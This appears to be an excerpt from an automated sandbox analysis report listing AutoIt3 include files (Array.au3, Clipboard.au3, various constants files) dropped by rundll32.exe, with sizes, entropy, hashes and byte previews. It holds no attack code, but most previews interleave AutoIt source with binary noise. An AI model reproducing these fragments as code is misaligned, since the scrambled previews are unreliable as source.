Preview:	A...-...G.b*9~.....xw..6....'`...(. .J....@sA.....D.O.G.._...\|......<r.I.6.....{y(....'`...(. .J....@sA.....D.O.G.._...\|......<r.I.6.....g/0y....4s..../.J...r..)\.BCB....../........3...Z.@:@........r30z....h.../...D....LCv..aP......Z....L......[..E.T.n...FG/+{...:....t.i.W..Z.]-...OT...........7..-..Z..E.T.~....@od;...:.....p.1.=..6.FnA.....D.O.G.._...\|......<r.I.6.....{y(....'`...(. .J....@sA.....D.O.G.._...\|......<r.I.6.....{y(....'`...(. .J....@Cv.'....6.!.;....B...\|......<r.I.6.....{y(....'`...(. .J....@sA.....D.O.G.._...\|......<r.I.6.....{y(....'`...(. .J....@sA...<.s.R.-....+...2..\.d=W..}...FVnm......{1...f.=.'.x.4.9.ryh..&.'.....B...K..I.!.[......dp..C.....J....E.^.1...@nQ. 'v......9...B......m.^.m$.T...safy5....v2..V.s....k./.9.{hu.. .7./...5.a...D.c.XT.d.....c..V.....E....A.E.W....w...OL]......Z...!.......x.^.y5.N...;9.(z....u3...E.O.2.~.".%.hrp..0.R.Z......-...[.!kd1.H...rl..E..._......Z

C:\Program Files (x86)\AutoIt3\Include\APIResConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6799
Entropy (8bit):	6.781770392031311
Encrypted:	false
SSDEEP:	96:6dFH1oSYP+Qy1/njM93dPDSzShivAvk1QxpBttERjBTqFdhVxYyS:6dFH1o3u/w931DjO6/BYRFT0YyS
MD5:	FDF859E5E0ED5DB0D464DB5D34F9D24C
SHA1:	E2AF1D3FE2110A7E99544265CCE22EFFD95F5ECD
SHA-256:	8FB0E1388BAD1DC749304689E128B2E5C8084D38BA89727509FDC4454DDF43C7
SHA-512:	0E88B0C9ED78AAB395599B2A5A4828BA13235FCDB04C954083921F42912B3BF3D5DF772793E64F1A37F5159D22B244198367BA7FF00AF06BB2BE7F1B825CF012
Malicious:	false
Preview:	9.i..Bd.I..........l..E.....AF.........}..Y.?..O.y....)>..'.q.==================================================================================..; Title .........: WinAPIRes Constants UDF Ls.u..N .............u.D...*..Z.......s..R.3..I....V.udQ.4.b...: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ================'.:.E.=.Y............`=.....AF.........}..Y.?..O.y....)>..'.q.===============================================....; #CONSTANTS# ==============================================================='.:.E.=.Y............`=.....AF.........}..Y.?..O.y..<./#k.s...I_FindResource(), _WinAPI_FindResourceEx(), _WinAPI_UpdateResource()..Global Const $RT_ACCELERATOR = 9..Global Const $RT_ANICURSU.'.X.1.n.......M.Q.yR.t..s58.g........,...W"....0..c.KA}.W...= 2..Global Const $RT_CURSOR = 1..Global Const $RT_DIALOG = 5..Global Const $RT_DLGINCLUDE = 17..Global Const $RT_FONT = 8..Glob{.'..Ys.D......j...}7.!..U..........

C:\Program Files (x86)\AutoIt3\Include\APIShPathConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3485
Entropy (8bit):	7.778594479610238
Encrypted:	false
SSDEEP:	96:zHhIIDW2g4ArwbpR/2xYMcTPEcbtWeZM6lf5S:zBnC4YwbbHPbJWeZBf5S
MD5:	82A8D149F75E3D8D7AFEEA0F70E903FF
SHA1:	6C13A80A05BBFA709C1783348B9E6ED84C707B58
SHA-256:	3C60CA5D46BA8704B204382E421C54B9CD7F3882424BBE6F9D6B5456CE274AF7
SHA-512:	F0D82A411DAC5BB1AEB621BC93EFF6662771A81E058A715CD09A6788C5B2F12691309BD8D8705348BFE91DB539CBB905780C830E0A17780167D6C1FDAC0B4C94
Malicious:	false
Preview:	.B.+..&....#......y.7.EZ...dfEF.2)..TD....i..[.~...e...............u.....J.}...0$.d.Ch<"b..dfEF.2)..TD....i..[.~...e...............u.....J.}...0$.T.EuUv+.SyuVU.!:..GC......5."C_........}.f.g...0....2..yv.-.s_:?..B6..[.jf.......z..W.m.:.c..............f....A..3...69.<..'ho+.Y7{VU.54.......'....7.T.6......._.T........D..2...69.,..:s7,..wuVU.54.......t....I...e...............u.....J.}...0$.d.Ch<"b..dfEF.2)..TD....i..[.~...e...............u.....J.}...0$.d.Ch<"b..dfEF.2)..TD....i..[.~.:.U.........i.t...u.....J.}...0$.d.Ch<"b..dfEF.2)..TD....i..[.~...e...............u.....J.}...0$.d.Ch<"b..dfEF.2)..TD....i..[.~...e..........N.{....0.C".....^.6..9!\0.E-{\..CK..!<...........u..........O.X.h...y$....RL...1.O?b..TQ?..mu......p....t..........%.g.D.)....H..`...AF...;.D@..b.{E[...........;....gbe...........x.e...h..H.J..!...bw.-.Z.SS..u..5>.BU..=6...Y....!V[.........w.c.n......uW.`..Ju.;..uBp1.By.-).PG..,4......[.u:=.4.......\...y......k2....HM.d.IX.X3.T87X8.ag..M,..

C:\Program Files (x86)\AutoIt3\Include\APIShellExConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	33423
Entropy (8bit):	6.863768477034176
Encrypted:	false
SSDEEP:	768:CXxhtf6+M+Z5k/q+VxK8DOemdW+dcn2dy26:CXxjf6qW/q+VxK8DOe0WwcnWc
MD5:	BD92A0C24DDB9A2B0C05884DF4301E74
SHA1:	F8512C2BAF13AA919ECBF04BA2EB0C02C980C818
SHA-256:	06A4900493C94540BC4FED28A2DA6A21F53B62FC9070A93BAFB6AE1FB60C1529
SHA-512:	9F2189496555F7CC1AA427D9CF9B331B877D5C418B89CAD6F9804719F57B5F9C5C9F2F95630988BA2285E4612DC607441A39DAD5D89F188FFA12063615EFF577
Malicious:	false
Preview:	P.Ha...K.yIi....Es. .......sz.} ...Z..#..Zq...7#...A(0.3....==================================================================================..; Title .........: WinAPIShellEx Constants U7..N......7Lc..W..<.....t..f:(Z4=.....$..I....$/....0tc.{..........: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ============N..?Y..[..1..+.Cn.T...r...sz.} ...Z..#..Zq...7#...A(0.3....===================================================....; #CONSTANTS# ===========================================================N..?Y..[..1..+.Cn.T...r...sz.} ...Z..#..Zq...7#...A.......inAPI_DllGetVersion()..Global Const $DLLVER_PLATFORM_WINDOWS = 0x01..Global Const $DLLVER_PLATFORM_NT = 0x02....; _WinAPI_ShellC..He.....n.%..Q..1.....!E.3j.[.S...."..P..Gq..=X..:S..I....l Const $SHCNE_ASSOCCHANGED = 0x8000000..Global Const $SHCNE_ATTRIBUTES = 0x00000800..Global Const $SHCNE_CREATE = 0x00000002..G..Dc.....c.(.U.;..,......3~?#p-...j.

C:\Program Files (x86)\AutoIt3\Include\APISysConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	16526
Entropy (8bit):	6.827946275803021
Encrypted:	false
SSDEEP:	384:NnRAFAu0BpeFHAD6yx4aN6lh0af+dQieIFN5/Aq0:N6WuOoA7x40Mxf+dQiem54q0
MD5:	900196AB9063FB307A18B74D228EE006
SHA1:	CC6D9C734F53D3325BDB681DE5C755C91A0AC542
SHA-256:	028FB82BAAA7C8AF0DAC300A1A37024B14D475C4913A07E520A8DF17E3EB2742
SHA-512:	BC0B9AAD0A9B9FFBB28E331FFD94999240B6D861FEB6391D3BD653F0A0B70C2942F9F73F4718629E506A7E488DE9A10E19DF9D1C6ABFF552F508036BC97A1324
Malicious:	false
Preview:	.^..0`.=..B........._..$....^..~....z.fC..$.6.H.......(7.:!.==================================================================================..; Title .........: WinAPISys Constants UDF L.U..<$....`....w.-.1...X.......,....t.hP...(...U.Z...p*.)2...: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ================.....x9_-......>....,..A....^..~....z.fC..$.6.H.......(7.:!.===============================================....; #CONSTANTS# ===============================================================.....x9_-......>....,..A....^..~....z.fC..$.6.H.6...J].i].I_ActivateKeyboardLayout(), _WinAPI_LoadKeyboardLayout()..Global Const $KLF_ACTIVATE = 0x00000001..Global Const $KLF_NOTELLSHELL.....u4R .....o.B..1...D....%....y.}..f^...).;.E.....wk.'_.nst $KLF_REPLACELANG = 0x00000010..Global Const $KLF_RESET = 0x40000000..Global Const $KLF_SETFORPROCESS = 0x00000100..Global Co.D...H$O..h....@....!..L.....n../.I.Tg

C:\Program Files (x86)\AutoIt3\Include\APIThemeConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12166
Entropy (8bit):	6.768503546477845
Encrypted:	false
SSDEEP:	192:yuML6FL6GMipUs77J8bdsPHEI+SlwESrRl8nS:yV6FLJMKZ7Q3SlISS
MD5:	BF2D955938A185F781D48CA13B033574
SHA1:	51DF4F7EC1F6E8C556B5B836434B1A511FBCDA48
SHA-256:	D4D1786F6CE12FC49ADDEC34CDB019F85C2DAB4EA4C90A97347CA41E4C5C29E5
SHA-512:	3B62B3EF806B67CAD44745876E46788918BA62EF395D5317D7D1AE0E89BF339C49329CA498B426BD59323C36242CE80B88EE7157FDA200C5D1CA2FA595BC8B88
Malicious:	false
Preview:	oaCr.`3...a....K..&F1...:..j..F....T..`.8..o(b.r......;..NJ==================================================================================..; Title .........: WinAPITheme Constants UDFlDDs.t%...p..}...6.u...lK..#....I...s.+..\|$R.t.....aJ.]Y....: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ==============q5.,.(j....?..4\|..82B...$..j..F....T..`.8..o(b.r......;..NJ=================================================....; #CONSTANTS# =============================================================q5.,.(j....?..4\|..82B...$..j..F....T..`.8..o(b.r......&p\|..API_BeginBufferedPaint()..Global Const $BPBF_COMPATIBLEBITMAP = 0..Global Const $BPBF_DIB = 1..Global Const $BPBF_TOPDOWNDIB = 2A.j}.w6...l...-...CP+...Vh.....?...Z..W.i.T3y.. .....Vit6%ASE = 0x01..Global Const $BPPF_NOCLIP = 0x02..Global Const $BPPF_NONCLIENT = 0x04....; _WinAPI_DrawThemeTextEx()..Global Const $.\yN.P.....M...)q.5?O...(2..;..........

C:\Program Files (x86)\AutoIt3\Include\AVIConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1897
Entropy (8bit):	7.544936075439127
Encrypted:	false
SSDEEP:	48:6jqNgjqNqggjqNgj2sjqNgjq3ye+gmOE/lIIUkAUYQ6eMdNgjqNWQuzOhczpS:6jqNgjqNqggjqNgj3jqNgjq3rzcAU36N
MD5:	73441BB266F6B2DE1178C864CB072F3C
SHA1:	5B89DB2568718EF501ABB7D4FD31BBDF3095E4D2
SHA-256:	9C1BA2FD42E18106A7F5D45FC22B56C7F6B336C346F187AEBD708A2809896111
SHA-512:	0937D01BCC2E99EF08F2525E41B7D5BF33B81D4A3B7FAF076089AA7C2CFCD21C20BF4E31F8CEC15A9DF7A1FBF4FD143995B18A8ABBF6207C8A6D9A65ECB2BE14
Malicious:	false
Preview:	...oS....I.......k.\..7o....?.}..QC..c...&<%W.C.akR\...+.Y...>..G.C....(=$.v.(..O....?.}..QC..c...&<%W.C.akR\...+.Y...>..G.C....(=$.F.....C....,.n..BP........url....Q\TA..C_.D....lH.@.M....#.(.A.5...P..^".n..BD...9......#J...?$....B6.J....mU....T..g %.k.g..O....Zr....P.Q.......h/p..].?M_...u......Bp.Z..^...)/x.e....3B..I..`..BP.........#J.C.akR\...+.Y...>..G.C....(=$.v.(..O....?.}..QC..c...&<%W.C.akR\...+.Y...>..G.C....(=$.v.(..O....?.}..QC..c...&<%g.s.gvL"..xW.0...>..G.C....(=$.v.(..O....?.}..QC..c...&<%W.C.akR\...+.Y...>..G.C....(=$.v.(..O....?.}..QC..c...&<%W.C.a[eZ...Uz.......aG.Z..I...1AZ...P..7e.......,.[.....0...ZBK5.,...? ...x6.D...lD...=H...5$X...T..=g....?.M.~....~....o!<+.-..."$......n....o.....S..VSF...A..<d...~L..}..Zs..e....osw....:7.....Xo.....lD...=H...5$^...F..6r...wV.....Q^........URH+.;..[el..as.......a....K..{sm.o.J..;t...oC....t3+...~.../1(g.9.34.....Be.D....Lv.4.^...JAO...[..3y..v].....G^..

C:\Program Files (x86)\AutoIt3\Include\Array.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	85539
Entropy (8bit):	6.733350562338797
Encrypted:	false
SSDEEP:	1536:BhP/mpm2plgqfOWvno/NmRmRQlbe47VyUCyCpFDwcEF6oZNenGUTSqT8O5o:Pkpl4zoe47VyzrFD5EF6oZNentSA75o
MD5:	346FBFF9A3077D1CE9DC9E1AD652F82C
SHA1:	E432BA210BC2EAA46662054ACDBDE1D630150CFF
SHA-256:	CF105A1709C8B9400AC9719F1AC08C4BDC4378D94E0CE77FE0F4790ED3069C0A
SHA-512:	4821CA7BB0EAFFD579D82142C6D594636DDECF97FEB4B718511478C5B8A4F99FE8EADF738281E896FCD0687DCFEB5FE9C89311AC89D0A108593F06C52C7CB515
Malicious:	false
Preview:	R....x..&....Z.....m..n.p.{...m.F2g..Th..l.y..D.?....a3..._.."AutoItConstants.au3"..#include "MsgBoxConstants.au3"..#include "StringConstants.au3"....; #INDEX# =============================LH.].0..6.P..m...3.S7vm..C.I)..\|.....4....W.w.....g......==========================..; Title .........: Array..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...KU...n..d....."...~..k?9.]^..f.V29.....}.x...C.d..xz......rik Pilsits, Ultima, Dale (Klaatu) Thompson, Cephas,randallc, Gary Frost, GEOSoft,..; Helias Gerassimou(hgeras)]U...l..@....p.....k.NG"3.N..Ts.](v......s.T....j...nz..._..uttall,..; Adam Moore (redndahead), SmOke_N, litlmike, Valik, Melba23..; ======================================LH.].0..6.P..m...3.S7vm..C.I)..\|.....4....W.w.....g......=========================....; #CURRENT# =======================================================================================LH.].0..6.P..m...3.S7vm..C.y....V..LX

C:\Program Files (x86)\AutoIt3\Include\ArrayDisplayInternals.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	42789
Entropy (8bit):	6.8345240547474955
Encrypted:	false
SSDEEP:	768:ly3AhHZ3dRpp6nsy3WbmnqEdoudQ4/hD3ymJjiKIaF19rCB8l5CaENGbMMlOQD:nXbmX4mJjdIGrKoQ6
MD5:	03B05A5C6E20359303450001BBDC29C8
SHA1:	2F75195E4B78F091B358B54337E22FE455C4FAB8
SHA-256:	3FA2CF9A60590D826D2DEDE62A451A98EEBA9450F05BC70B31796AE69B290926
SHA-512:	935373B33946E5E30C5377D2BADA910FE7DECBD8473E812A963C9132C2A3344025E30AD23A73503E194A833D676C94A31EB1F7D83299183CAAB972DDAAD0167F
Malicious:	false
Preview:	.].k.C?.I\.O.x,.`s.r..tf.U}./......`..(.y.};2O)...M...m.]o..xConstants.au3"..#include "StringConstants.au3"....; #INDEX# ===================================================================...5..f.Y.H..H.%Wm...#..,{.)5.}fB\|.S.)[.aIj.55-....Z#.X.\..N..........: Internal UDF Library for AutoIt3 _ArrayDisplay() and _DebugArrayDisplay()..; AutoIt Version : 3.3.16.1..; Description ....(.X/..].@..Sv.$.m.~4.``.`..3...u..\|.9.(Lu V...[.n.3.>W..(s) .....: Melba23, jpm, LarsJ, pixelsearch..; =================================================================================...5..f.Y.H..H.%Wm...#..,{.)5.}fB\|.S.)[.aIj.55.H...5K...f.8N.... Variables and Constants....; #VARIABLES# ======================================================================================...5..f.Y.H..H.%Wm...#..,{.)5.J`_'...a..\|.>.`(dF...Z...(..L........Global $_g_ArrayDisplay_bUserFunc = False..Global $_g_ArrayDisplay_hListView..Global $_g_ArrayDisplay_iTranspose..Global $_g.u.z.O...C.M.O\.#...g..fK!Sd.":.a.1.K'.

C:\Program Files (x86)\AutoIt3\Include\AutoItConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13068
Entropy (8bit):	6.787428114903298
Encrypted:	false
SSDEEP:	192:l8d48k8HpJ3jx0eFQ4CxRkyCXc323D98JiYeQtgrlZ/pEZ8fS:Sdp1J5jp24CxRkyCXc32ZvRrlZhEmK
MD5:	10DA8D1A00A541383F2364980901A6A0
SHA1:	0BE512C29C253E145895DE639A48D0346DB98158
SHA-256:	7D2D6801B02BC9158233EDB3B231E8B845BCA040165A4F5AA32970E7A3129A7E
SHA-512:	2769FE025C1EE5886F126632D11BF3713E8B9615735EA49B004B73B5F9991D7B810781AFD841DFFB542F268F153CAC0F6E1280C22345875055E248CDEEDA37FC
Malicious:	false
Preview:	].y.H...$..f.i.^.y3.dR...e.V...w....oX.._.\|.F.\|1..0.p&K}ci..==================================================================================..; Title .........: Constants..; AutoIt Versi..7......z..3.i.t.8~9_w..v..E.)...p.G.:h..B.$...(\|..b.m5Xndt..nstants to be included in an AutoIt v3 script...; Author(s) .....: JLandes, Nutster, CyberSlug, Holger, .....; =================CA......v..>.^.i.d-c.+....e.V...w....oX.._.\|.F.\|1..0.p&K}ci..==============================================....; #CONSTANTS# ================================================================CA......v..>.^.i.d-c.+....e.V...w....oX.._.\|.F.\|...-.(o.`<..way coords are used in the mouse and pixel functions..Global Const $OPT_COORDSRELATIVE = 0 ; Relative coords to the active windo.q..R..Vk..m...p..D.iY.......$.F...*...iE....-...a...h.#;./1&..nates (default)..Global Const $OPT_COORDSCLIENT = 2 ; Relative coords to client area....; Sets how errors are handled if a Run/R..@.I.O%..j...2.0\|-'.....9..(.}.>.3.~.

C:\Program Files (x86)\AutoIt3\Include\AutoItExitCodes.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2792
Entropy (8bit):	7.402148637504021
Encrypted:	false
SSDEEP:	24:oT09QI/eGQpKQFi3Z7L7RnPmw3rQkFQIMQBuQpPilQqJ2PKGs5ytxtmtZQ0887Qe:oT0XdL7h3dymNtct0CAH3DS
MD5:	1BFC743C15F51B77105A58FBCD386FCC
SHA1:	B39C4B05BEE830519E40CCB0EDB2A667FAE8BC65
SHA-256:	2F2238568609A1388402FDB3F6B1FE54B7B5BD421756F0447E8445FC19ED752C
SHA-512:	AD55E3A8FF56FE0242210C77BA669BAE0CA3F5C5E16DBDE9645DBD40F79DDD97D8C0185F0425601873F9FF9189EDD7432AE77489D953E4B9092BE525EA174BBC
Malicious:	false
Preview:	.*.../.-.R?J4....\|...........`..e....Ur..?t...................6.0jI.F?...f.....k..V..Z.+S.....F... D...I....b.Q...~..g.u>.l.l....(.U..[..P...).S6.....F... D...I....b.Q...~..g.u>.l.l....(.U..[..P...4........U=..3W.......'.....'...P.hBH%F......f.....F..C...%.d0......t..3W...T...,.a.......(.8wT>Gq....y....F......T..b....q(..h......]....q.L..N..g.u>.l.l....(.U..[..P...).S6.....F... D...I....b.Q...~..g.u>.l.l....(.U..[..P...).S6.....F... D...I....b.Q...~...P.B8.rj.....A.K...[..P...).S6.....F... D...I....b.Q...~..g.u>.l.l....(.U..[..P...).S6.....F... D...I....b.Q...~..g.u>0[$[...y.+.....5...[.+X....[...=&...P....?........h!s0]$...y....H...M.....5/...4@.._ ....T....:.....;...<.&`I8F?.....J.b.B...9...G.1I....W3..q.....T...6.....c.....'e.%A4....g....J...g...0.6B....$Q..R>.....V.........&...5.'e[..........3../..."...V.=C....W3..q.....T...(.L.7...4.j^..$[.......U..[..P...).S6...

C:\Program Files (x86)\AutoIt3\Include\AutoItFatalExitConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6698
Entropy (8bit):	6.767330434560865
Encrypted:	false
SSDEEP:	96:0lSktswQvLX+EC91nwQNwgNXtuk5lbnnHUgunTMqxrKxS:ANswSX301wYNXhx0guTv0xS
MD5:	46ABAD227A5E846FBD88A567660F57E7
SHA1:	7BE81F1BEE2C3391F7034FA8F316C107E22F3327
SHA-256:	A970CF8CF7AB30FF7AD52A4F57E872F9B45637885B860FB4ADC7E477AC1FA9F3
SHA-512:	DD155F20758EA08C4C0DE28C96BCEAECA74BA53E7D39A4CB79A3658DD5982D45420A8CA530FD70F0613C63B493874DAE8232E12053B22AFEF9FAB3334A7F6116
Malicious:	false
Preview:	.X.....j.W.m....s.._............K.Q..{7}.....!=m..aD..Z...==================================================================================..; Title .........: AutoIt3 Fatal Exit Codes........F...k...kh..%.........PN..L..h$n.....{l9ZSQs..#.ription ...: Constants to format @exitCode set by Opt("SetExitCode", 1)..; Author(s) .....: Jpm..; =============================.....2...3....8u..+..........K.Q..{7}.....!=m..aD..Z...==================================....; #CONSTANTS# ============================================================================.....2...3....8u..+..........K.f...f/...sn#].x<.3..ALCODES[81][2] = [ _....[0x7FFFF068, '"EndWith" missing "With".'], _....[0x7FFFF069, 'Badly formatted "Func" statement.'], _..........I..."...l<..6...........M.X.1....J.....+F.o}lO..G...ssing right bracket '')'' in expression.'], _....[0x7FFFF06C, 'Missing operator in expression.'], _....[0x7FFFF06D, 'Unbalanced .C.....\|.Q.....`;.y.............ci0.

C:\Program Files (x86)\AutoIt3\Include\BorderConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2434
Entropy (8bit):	7.708293733451236
Encrypted:	false
SSDEEP:	48:QJ9gxLdKRYjfB7Z6ayzu3KX++uBpvuCTRxKcKgPlUmKRgS:ygxLdSYrBYaGu3WuBp2Cr9RP8gS
MD5:	8C3E1B92F3AF45841A88A7D965943506
SHA1:	4A33B5378D6DB9BC9B8F16C452823EF90D4C32E3
SHA-256:	F9BE5ADBC2DBA561FC5D65AA196F850112CB4BBE4D2E46164FB49DA157D62D1E
SHA-512:	CA928675D210E17AA4A94DB54148DABF5928390093C222782652C358266A89C2AB2F166ED14BAF7CDEC0B7741833D32C5B81230FB52FD1814210589D851E1CA7
Malicious:	false
Preview:	u.g+\|..R.G}?.G.'xv.fn...uJ....<...y..}.\f..Z.......:i...j...k.4u-......a.w..Op.x.....kW....<...y..}.\f..Z.......:i...j...k.4u-......a.w..Op.O....:....../...j.....?..$..1.D.FtY...."L.."._-b..X..)\|.d..C{.t*...7..J..@!...j..z.$5.....H...Wt7.S..>W..x.'r0..Y.\r2.9.L.?..p...5.M..`e..m.0J.A......1....)z....6J....f;d......a.w..Op.x.....kW....<...y..}.\f..Z.......:i...j...k.4u-......a.w..Op.x.....kW....<...y..}.\f..Z.......:i...j...k.4u-....".V.j.i=...f...vW....<...y..}.\f..Z.......:i...j...k.4u-......a.w..Op.x.....kW....<...y..}.\f..Z.......:i...j...k.4u-......a.G.m.".$K...%.....w^.q.`y../....G..v./.^h6.V..8V..v.K.B..v.{V....o m.e.......]...B..K0....3...,....k.`'i....Z2..9.h$0..Y.\3x...u!...b....8....]3...(J_!.A.........b.mE..j.wz....!lR..h.iZ.....&..i.....9.q..kH.}..0J..4...G..,.Q..B......{....4hR..x..7....y'...i....F....w^.q.`y../....m..-.D..D;.I..s}....[.Y..s..3..>.xZi..u..../.p..`S....ao.. ..........8@8.X..w{..%.)lU..r.{F.....Om.,S.......`..kJ.w.qx.

C:\Program Files (x86)\AutoIt3\Include\ButtonConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4765
Entropy (8bit):	7.824072612869999
Encrypted:	false
SSDEEP:	96:HQH2p8JAYpRU4EBc+0KK56kOSFt1/YThB5UmUowHVfPqVS:HQXAYpBPJ56yt9q7U5VXqVS
MD5:	9277F5B9A78131CE080DA9D827BF1FB6
SHA1:	C986A31396CA8FEE94034471C4E8AAC31567B67A
SHA-256:	0E91B132095CC8057E26F59E88A4046BCF16C598A068FE4D26126BB6188528B3
SHA-512:	F77EC213F263361A2E5FFF04CB225D867217B09F104BFD3D48FD5AFB694FC7397F8CD7AD88DA013B03448668962879AD1017700231BE02F08CDC1FE4F48A162C
Malicious:	false
Preview:	am....4..'d..U:JN.8...erI.\..w....m...+g....w.1^.}.......h%Eu:.9._..m^.u7...b.}H.&.{...W.\..w....m...+g....w.1^.}.......h%Eu:.9._..m^.u7...b.}H...f.I^..A..d....~...T/...T..c.D4..J.....m.'N6$....9..h0.l.qC..L..f.....-..~...,z...V#.dn={...J..MA!q.&'l.X.?..<k....Q/..'.f.RO..C..e...>.P.9....N3.i..(..{..P^;:F.R.$...."..hH...0Y`..b.#.....A.....%...D;....j.d.T+........m. h0,.K..~M.f0...3^+x. .{...W.\..w....m...+g....w.1^.}.......h%Eu:.9._..m^.u7...b.}H.&.{...W.\..w....m...+g....w.1^.}.......h%Eu:.9._..m^.u7...b.}H.&.L..J."..........+g....w.1^.}.......h%Eu:.9._..m^.u7...b.}H.&.{...W.\..w....m...+g....w.1^.}.......h%Eu:.9._..m^.u7...b.}H.&.{...g.Z..8....Z.U.t;...U$.xC....k..ts.@Xu'r\|.R..]i.B1...+C/.....BK..".9....{.B.....j.tS.p..~..FP98;'i1p.F... ..^..b.p..(.v.m....j...$...E....j..D!b.......Ie(Hy.HC....<C.'d..{u..^.....Z.Q..z...?.X.6....Nj.N0h...p..jtu%Xx.p4.R.....*k...0Y3..?...p.9.#.j....`....P...X+., X.......{a.K0.N.A._..(R.x:..3X"..;.).S^J.#......p...n

C:\Program Files (x86)\AutoIt3\Include\CUIAutomation2.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	47975
Entropy (8bit):	6.792721594595277
Encrypted:	false
SSDEEP:	768:N5uvpczcKkxRCXxnLxjqJm4o6WeDST/9B2qZ:3uhohzxnLxd4o6Pufx
MD5:	F6A3CDEF14BABE792862879AED18CA5D
SHA1:	2DC0B88E609D45D5EEE90B05940F32256C786EE1
SHA-256:	17A291A8B030E686F0F3B260229EF3298CA3E96E19BCAC4BD5291F6A174F4B5C
SHA-512:	5BC3C09C690A6AC80658CEB132C14CBB65A37B8C29B7C634203736B99EB32C070750000C78562B94C65F69D7414B31F2E5561CA555BE1DC57DBFC260CA542A6B
Malicious:	false
Preview:	.'{.........Zd<.&.e....`...Okl.+d..+T$........K..6.h....e.083-8FB8-45CF-BCB7-C477ACB2F897}"....;CoClasses..Global Const $sCLSID_CUIAutomation = "{FF48DBA4-60EF-4201-AA87-54103EEF594E}"...&\|..G......im!...6`k..{....@WK.....a.6.....r.Z..x.,.M..a..0..Global Const $UIA_SelectionPatternId = 10001..Global Const $UIA_ValuePatternId = 10002..Global Const $UIA_RangeValuePatternId..i)...T.....q(..).1ME.&U....lTI..E..,N.....\..#R#f.z.*....>..t $UIA_ExpandCollapsePatternId = 10005..Global Const $UIA_GridPatternId = 10006..Global Const $UIA_GridItemPatternId = 10007..Gl..(t.........BE&.3.5....q....w]W.=U..~.{O...g..\|.O..U.&......_WindowPatternId = 10009..Global Const $UIA_SelectionItemPatternId = 10010..Global Const $UIA_DockPatternId = 10011..Global Cons..mM.3.....im!...ePA._$...DTJ..].1N8...$..G.L.._.-. ..%.nId = 10013..Global Const $UIA_TextPatternId = 10014..Global Const $UIA_TogglePatternId = 10015..Global Const $UIA_TransformPatt..'Q...G.....Zd<.&.e....`...Bgv..^...

C:\Program Files (x86)\AutoIt3\Include\Clipboard.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM, 0x8C-variant)
Category:	dropped
Size (bytes):	19232
Entropy (8bit):	6.252814156100269
Encrypted:	false
SSDEEP:	384:K3sW3osBWnLSa04sBgrNFToJaithuYADBh7iWCKp5vazidZ+P:vYtBWnAS3oJ3ABxiWH5vr+P
MD5:	8D61D99F6451FD6DEF70FA034F7D4B01
SHA1:	1E12649499B7DA088604EC13E527CBC7C46F9379
SHA-256:	C6D358B8C7BB12A371596001D18F5BB2AA4033EFDA6C4793C30E24DABA84E423
SHA-512:	C81ABC51D11FD03F5EE3377B17D8612BC5299615C5983678023813C8D80C683CB5B390E497E59BD6ED75C93DF34903961F0DC9670012BBF012E44B85A9A03667
Malicious:	false
Preview:	.._.Mr.L....f%>..>.w..BRoM@.`..50......m....,).u...3.u ..G>.,c===========================================================================================================..; Title .........: ..X.Ch.[..b.#iA.aT.9,.EEc..\|?..iz.XQ....[-..!...H... .f3..?m.}7sh..; Description ...: Functions that assist with Clipboard management...; The clipboard is a set of functions ..U.Lb.Z....#\\.z=.w..[S..,i..&=.....nv@y..5.....E.o.E...Z#.1~ Because all applications have access to the clipboard, data can be easily transferred..; between a..].Bf.@....#GFR.j.m..Y...\|d..+ .....t7m..3..._.W...f3..@#.p+l Campbell (PaulIA)..; =========================================================================================================.....:...U.>..O3 .$G.:<.gY\|&.....()..99]0..{_P.....3.u ..G>.,c===========================================================================================..Global Const $CF_TEXT = 1 ; Text fo..P.,..E....#k[.}i.=9.htC9/.U..g{.RG..t}

C:\Program Files (x86)\AutoIt3\Include\Color.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10298
Entropy (8bit):	6.237182483071382
Encrypted:	false
SSDEEP:	192:dD0KugJqg9XRlY/0mySVLLnR73RQXJMNuQx+mTOS:dD0KugJqgdRlY/0kLLnR73RKJME3C
MD5:	3195CB1A5A599B2F9E98BE15D850D8E2
SHA1:	033D921C1B2A8899C542F0BFFE04C9837BAF15AD
SHA-256:	6FC85B0FB0490079D080C736D428B12434230F6DABA5F6C7A8764F2AEA9D0179
SHA-512:	526BFDC65C57A281D6C95DB9FFB8077C0EFE38DC14BA40A3758C9A872ABD6D46BF5F77AE317E58195544FCD5209B3C043E226E9DD906092DBC30598C9EDD4B8A
Malicious:	false
